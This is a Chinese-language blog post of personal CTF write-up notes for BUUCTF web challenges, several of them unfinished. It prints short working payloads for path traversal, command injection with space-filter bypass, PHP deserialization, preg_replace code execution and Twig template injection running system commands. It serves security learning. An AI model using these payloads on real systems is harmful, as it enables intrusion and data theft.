20210619-BUUCTF-WEB做题记录

目录

  • 1、[HCTF 2018] WarmUp
  • 2、[极客大挑战 2019]EasySQL
  • 3、[极客大挑战 2019]Havefun
  • 4、[强网杯 2019]随便注
  • 5、[SUCTF 2019]EasySQL
  • 6、[ACTF2020 新生赛]Include
  • 7、[极客大挑战 2019]Secret File
  • 8、命令行注入
  • 9、[极客大挑战 2019]LoveSQL
  • 10、[GXYCTF2019]Ping Ping Ping
  • 11、[极客大挑战 2019]Knife
  • 12、[极客大挑战 2019]Http
  • 13、[护网杯 2018]easy_tornado
  • 14、[RoarCTF 2019]Easy Calc
  • 15、[极客大挑战 2019]PHP
  • 16、[极客大挑战 2019]Upload
  • 17、[ACTF2020 新生赛]Upload
  • 18、[极客大挑战 2019]BabySQL
  • 19、[ACTF2020 新生赛]BackupFile
  • 20、[HCTF 2018]admin
  • 21、[极客大挑战 2019]BuyFlag
  • 22、[BJDCTF2020]Easy MD5
  • 23、[ZJCTF 2019]NiZhuanSiWei
  • 24、[SUCTF 2019]CheckIn
  • 25、[极客大挑战 2019]HardSQL
  • 26、[CISCN2019 华北赛区 Day2 Web1]Hack World
  • 27、[网鼎杯 2020 青龙组]AreUSerialz
  • 28、[GXYCTF2019]BabySQli
  • 29、[网鼎杯 2018]Fakebook
  • 30、[MRCTF2020]你传你呢
  • 31、[MRCTF2020]Ez_bypass
  • 32、[GYCTF2020]Blacklist
  • 2、[BJDCTF2020]ZJCTF,不过如此
  • [BJDCTF2020]The mystery of ip
  • [BJDCTF2020]Mark loves cat
  • [BJDCTF2020]Cookie is so stable
  • [BSidesCF 2020]Had a bad day

第一页

1、[HCTF 2018] WarmUp

1、直接进入hint.php,得到提示
在这里插入图片描述
根据源码往下走,发现了三次过滤
20210619-BUUCTF-WEB做题记录_第1张图片
直接构造file=hint.php?../../../../../ffffllllaaaagggg
这里面的注意点:
一、进行调试时,用file进行调试时,看反响(错误的反响),可以知道应该传参的值
二、白名单属于hint.php和source.php,是值而不是键
三、只要一个true返回就行

2、[极客大挑战 2019]EasySQL

看了半天的登陆框
20210619-BUUCTF-WEB做题记录_第2张图片
php万能模板
20210619-BUUCTF-WEB做题记录_第3张图片
注意:这是最简单的注入

3、[极客大挑战 2019]Havefun

20210619-BUUCTF-WEB做题记录_第4张图片
源码里有hint,没有难度
在这里插入图片描述

4、[强网杯 2019]随便注

这题一进去,就可以推测出是堆叠注入
20210619-BUUCTF-WEB做题记录_第5张图片

两种解法,一种是插入和修改,另一种是handler绕过
直接讲handler绕过 20210619-BUUCTF-WEB做题记录_第6张图片
注意:要用反引号

5、[SUCTF 2019]EasySQL

待定

6、[ACTF2020 新生赛]Include

看名字就猜测是文件包含
在这里插入图片描述
直接base64的源码查看,然后得到base64编码,解密即可

7、[极客大挑战 2019]Secret File

第一步:查询源代码
第二步:可以看到快速跳转,抓包查看
20210619-BUUCTF-WEB做题记录_第7张图片
20210619-BUUCTF-WEB做题记录_第8张图片
文件包含漏洞 ,需要组装下哪些是需要过滤的
在这里插入图片描述
完美绕过所有的限制,那么就得到源码,base64解码得到
20210619-BUUCTF-WEB做题记录_第9张图片

8、命令行注入

20210619-BUUCTF-WEB做题记录_第10张图片
最简单的注入了 127.0.0.1|ls /
20210619-BUUCTF-WEB做题记录_第11张图片
直接cat /flag

9、[极客大挑战 2019]LoveSQL

待定

10、[GXYCTF2019]Ping Ping Ping

还是命令行注入,但是过滤了两个条件
1、空格 -->用$IFS$9
2、flag过滤,这里拼接过滤,但是也存在问题,就是用

a=fl;b=ag;cat$IFS$9$a$b

20210619-BUUCTF-WEB做题记录_第12张图片
还是能读取到flag,这里猜测是不是fl 和ag这样子的模式也能识别出来,所有调换个问题
在这里插入图片描述
注意查看源代码就能出flag了

11、[极客大挑战 2019]Knife

20210619-BUUCTF-WEB做题记录_第13张图片
用蚁剑处理
20210619-BUUCTF-WEB做题记录_第14张图片

12、[极客大挑战 2019]Http

第一步查看源代码
第二步用hacker直接注入想要的信息
20210619-BUUCTF-WEB做题记录_第15张图片
还是用bp比较稳定

13、[护网杯 2018]easy_tornado

待定

14、[RoarCTF 2019]Easy Calc

待定

15、[极客大挑战 2019]PHP

这题明天写====

16、[极客大挑战 2019]Upload

明天写

17、[ACTF2020 新生赛]Upload

明天写

18、[极客大挑战 2019]BabySQL

待定

19、[ACTF2020 新生赛]BackupFile

先开始的话,看题目,就是可以知道是备份,那么得到bak文件
20210619-BUUCTF-WEB做题记录_第16张图片
接下来一个很有趣的地方,就是PHP里面的== 是弱相等的,所以只要key=123
那么他就跟str相等
答案:key=123

20、[HCTF 2018]admin

待定

21、[极客大挑战 2019]BuyFlag

待定

22、[BJDCTF2020]Easy MD5

1、第一个界面,输入框,输入后看响应头
20210619-BUUCTF-WEB做题记录_第17张图片
那么就以前做过的题目,答案就是ffifdyop
然后跳转下一个界面
20210619-BUUCTF-WEB做题记录_第18张图片

a[]=1&b[]=2

第三个界面
20210619-BUUCTF-WEB做题记录_第19张图片

param1[]=1&param2[]=3

23、[ZJCTF 2019]NiZhuanSiWei

20210619-BUUCTF-WEB做题记录_第20张图片
逐条分析
1、函数file_get_contents,常见漏洞就是 php://input
2、直接查看useless.php,没有用处,那么就是查看源代码
20210619-BUUCTF-WEB做题记录_第21张图片前两步得到源代码,base64解码
20210619-BUUCTF-WEB做题记录_第22张图片

3、password序列化
20210619-BUUCTF-WEB做题记录_第23张图片
(1)text满足绕过条件
(2)file=useless.php,不再用源代码
(3)password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
20210619-BUUCTF-WEB做题记录_第24张图片

24、[SUCTF 2019]CheckIn

待定

25、[极客大挑战 2019]HardSQL

待定

26、[CISCN2019 华北赛区 Day2 Web1]Hack World

待定

27、[网鼎杯 2020 青龙组]AreUSerialz

这题有启发,再做一遍再写

28、[GXYCTF2019]BabySQli

待定

29、[网鼎杯 2018]Fakebook

待定

30、[MRCTF2020]你传你呢

晚点做

31、[MRCTF2020]Ez_bypass

这题比较简单,进去后先将源码整理好
20210619-BUUCTF-WEB做题记录_第25张图片
注意两个点
1、MD5的绕过
2、is_numeric的绕过
20210619-BUUCTF-WEB做题记录_第26张图片

32、[GYCTF2020]Blacklist

20210619-BUUCTF-WEB做题记录_第27张图片
又是堆叠注入
两种方法,一种是插入新表,一种是handler直接绕过
本题种插入新表的做法确实会过滤函数,那就用handler绕过
在这里插入图片描述
第二页

2、[BJDCTF2020]ZJCTF,不过如此

20210619-BUUCTF-WEB做题记录_第28张图片
老套路
php://input 还有base64的文件包含
得到源码
20210619-BUUCTF-WEB做题记录_第29张图片
这里是preg_replace的漏洞
\S*=${getflag()}&cmd=show_source(%22/flag%22);
答案:
在这里插入图片描述

[BJDCTF2020]The mystery of ip

20210619-BUUCTF-WEB做题记录_第30张图片

这题就很典型,抓包看看20210619-BUUCTF-WEB做题记录_第31张图片
很简单就可以发现,可以直接模板注入

[BJDCTF2020]Mark loves cat

Git泄露,看源码
20210619-BUUCTF-WEB做题记录_第32张图片
三个exit是关键,那么就直接传参,很简单了
三种方法

handsome=flag&flag=handsome
flag=flag&is=flag
yds=flag

需要自行参悟,这个还是非常有趣的

[BJDCTF2020]Cookie is so stable

这种题这么明显,就是要看看包
审查元素里面有两个flag的包
分别看了,要解析第二个包,所以抓包的时候注意下,第一个包要放掉
20210619-BUUCTF-WEB做题记录_第33张图片
20210619-BUUCTF-WEB做题记录_第34张图片
经过尝试,可以知道,这里试试看模板注入
{{7*‘7‘}}=49
利用twin模板注入

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("ls /")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("cat /flag")}}

就可以了

[BSidesCF 2020]Had a bad day

这题也是很精髓
在这里插入图片描述
20210619-BUUCTF-WEB做题记录_第35张图片
改用php://filter/read=convert.base64-encode/resource=index
得到源码
20210619-BUUCTF-WEB做题记录_第36张图片
将这几个函数挑一个代入进去
在这里插入图片描述
在这里插入图片描述
其他待定,慢慢补充

你可能感兴趣的:(做题记录,unctf,安全)